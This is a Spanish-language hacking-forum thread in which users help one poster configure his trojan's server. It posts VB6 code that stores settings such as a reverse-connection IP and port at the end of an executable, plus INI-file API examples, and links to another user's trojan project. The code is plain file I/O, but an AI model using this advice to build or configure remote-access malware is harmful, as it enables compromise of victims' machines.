Hola gente!
Bueno, llevo como 2 horas buscando el codigo fuente de un buen binder. Hasta ahora todos y si, dije todos al ejecutar el fichero me dice que es demasiado grande apra abrir en memoria. Aunque yo solo junte 2 archivitos minimos.
No saben de donde puedo bajar alguno bueno?(codigo fuente)
Lo quiero para combinar un archivo ini con un exe, o sea el server de mi troyano y sus opciones de configuracion.
Saludos
Más limpio pero no más sencillo sería guardar la configuración de tu server en el mismo server. Me explico:
puedes guardar valores en el propio ejecutable siempre y cuando no modifique el archivo, es decir, al final del archivo. Luego, simplemente habría que leerlos con un
open "archivo" for binary as #1, por ejemplo.
Si no sabes como hacerlo, el troyano incompleto que hice que publiqué en el foro hace algún tiempo, en el servidor guarda los valores de configuración, como la ip y el puerto que se va a conectar con una conexión inversa.
Link de descarga:
http://dl1.rapidshare.de/files/3092209/41685679/Proyecto_BaNTRoJaN.rar
Saludos!!
Thanks!
Ahoralo miro y te cuento.
Saludos
Estoy veindo tu codigo, hasta ahora no le pillo la vuelta fuera de que el server no anda con el genredaor :P
Saludos
Investiga que hay muchos posts q hablan sobre el tema... es facil cuando le agarras la mano ;)
un salud0
G0nz4
Si no te va el generador de server será porque no tienes el servidor compilado en la misma carpeta del cliente.
De todas formas, te pongo un ejemplo de como guardar y cargar variables de un ejecutable que te acabo de hacer.
Primero de todo tienes que crear en un formulario 3 cuadros de texto y 2 botones, uno para guardar y otro para cargar.
Para ver como funciona te recomiendo que utilices un editor hexadecimal una vez guardado el archivo.
NOTA: No utilices espacios, porque no lo he programado para que tenga espacios, aunque es fácil modificarlo.
También utiliza una ruta correcta, ya que lo que hará si no existe el archivo será crear uno nuevo.
Guardar variables:
Private Function GuardarVariables(NombreArchivo As String)
Dim foo As Integer 'Número archivo
Dim Texto1(99) As String 'Reservamos 100 espacios para el Text1
Dim Texto2(99) As String 'Reservamos 100 espacios para el Text2
Dim Texto3(99) As String 'Reservamos 100 espacios para el Text3.
Dim PosicionActual As Long 'Variable que utilizaremos para saber cuál es la posición actual.
Dim i As Integer
foo = FreeFile 'Proporciona un número de archivo libre.
For i = 0 To Len(Text1)
Texto1(i) = Mid$(Text1.Text, i + 1, 1)
Next i
For i = 0 To Len(Text2)
Texto2(i) = Mid$(Text2.Text, i + 1, 1)
Next i
For i = 0 To Len(Text3)
Texto3(i) = Mid$(Text3.Text, i + 1, 1)
Next i
Open NombreArchivo For Binary As #foo 'Abre el archivo <NombreArchivo> para acceder en modo binario.
PosicionActual = LOF(foo) 'Obtiene el tamaño del archivo en bytes para obtener el primer byte vacío.
For i = 0 To 99 '|
PosicionActual = PosicionActual + 1 '| Posicion actual, cuando i = 0, obtiene el primer valor libre
If Texto1(i) = "" Then '| Si la varible texto1 está vacía
Put #foo, PosicionActual, 0 '| Guarda en el archivo un valor 0
Else '|
Put #foo, PosicionActual, Asc(Texto1(i)) '| Si no está vacía la variable guarda en valor ascii la letra del texto correspondiente.
End If
Next i
'Se repite para la matriz Texto2
For i = 0 To 99
PosicionActual = PosicionActual + 1
If Texto2(i) = "" Then
Put #foo, PosicionActual, 0
Else
Put #foo, PosicionActual, Asc(Texto2(i))
End If
Next i
'Se repite para la matriz Texto3
For i = 0 To 99
PosicionActual = PosicionActual + 1
If Texto3(i) = "" Then
Put #foo, PosicionActual, 0
Else
Put #foo, PosicionActual, Asc(Texto3(i))
End If
If i = 99 Then
Stop
End If
Next i
Close #foo
End Function
Cargar variables:
Private Function CargarVariables(NombreArchivo As String)
Dim foo As Integer
Dim Obteniendo As Byte
Dim Texto As String
Dim TamañoArchivo As Long
Dim PosicionActual As Long
Dim i As Integer
foo = FreeFile
Open NombreArchivo For Binary As #foo
TamañoArchivo = LOF(foo)
PosicionActual = TamañoArchivo - 300 'Se le resta 300 al tamaño del archivo por ser el resultado de la suma de los espacios reservados anteriormente
For i = 0 To 99
Get #foo, PosicionActual, Obteniendo
If Obteniendo <> 0 Then
Texto = Texto & Chr$(Obteniendo)
PosicionActual = PosicionActual + 1
Else
PosicionActual = PosicionActual + (100 - Len(Texto))
Exit For
End If
Next i
Text1.Text = Texto
Texto = ""
For i = 0 To 99
Get #foo, PosicionActual, Obteniendo
If Obteniendo <> 0 Then
Texto = Texto & Chr$(Obteniendo)
PosicionActual = PosicionActual + 1
Else
PosicionActual = PosicionActual + (100 - Len(Texto))
Exit For
End If
Next i
Text2.Text = Texto
Texto = ""
For i = 0 To 99
Get #foo, PosicionActual, Obteniendo
If Obteniendo <> 0 Then
Texto = Texto & Chr$(Obteniendo)
PosicionActual = PosicionActual + 1
Else
Exit For
End If
Next i
Text3.Text = Texto
Close #foo
End Function
Botones:
Private Sub Command1_Click()
GuardarVariables "archivo.exe"
End Sub
Private Sub Command2_Click()
CargarVariables "archivo.exe"
End Sub
el ejemplo que dieron anteriormente es para cargar variables, datos de cualquier formato de archivo (en el ejemplo *.exe-->archivo.exe), bueno el ejemplo que te traigo es para cargar datos de un archivo *.ini, que carga los datos teniendo en cuenta los [] bueno leelo:
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
'Leer en "Ejemplo.Ini":
Private Sub Form_Load()
Dim I As Integer
Dim Est As String
Est = String$(50, " ")
I = GetPrivateProfileString("Ejemplo", "Nombre", "", Est, Len(Est), "Ejemplo.ini")
If I > 0 Then
MsgBox "Tu Nombre es: " & Est
End If
End Sub
'Escribir en "Prueba.Ini":
Private Sub Form_Unload(Cancel As Integer)
Dim I As Integer
Dim Est As String
Est = "Ejemplo - Apartado"
I = WritePrivateProfileString("Ejemplo", "Nombre", Est, "Ejemplo.ini")
End Sub
chau, le podes agregar todas las variables que quieras
Usa las etiquetas de codigo (http://foro.elhacker.net/Themes/default/images/bbc/code.gif) para insertar un codigo... sino no se entiende un ch*** xDDD
salu2
El caso es que M@rT1n sabe perfectamente como guardar la configuración en un ini, por eso pide un binder. Pero yo le he dado otra opción más limpia, ya que no necesita una utilidad externa para guardar la configuración en el propio ejecutable.
Aunque no siempre está de más recordar funciones útiles para los que no las conozcan.
Saludos!!
Weno, gracias. Lo pruebo.
Respecto a los INI's, si tengo un modul ocon muchas funciones para trabajar con ellos.
Saludos
bueno pero no se enojen (chavo) jajaj
y como es eso para poner el codigo???
#hola
chau
Cita de: la caca en 7 Octubre 2005, 18:56 PM
bueno pero no se enojen (chavo) jajaj
y como es eso para poner el codigo???
#hola
chau
[ code]
'tu codigo (sin los espacios del principio)
[ /code]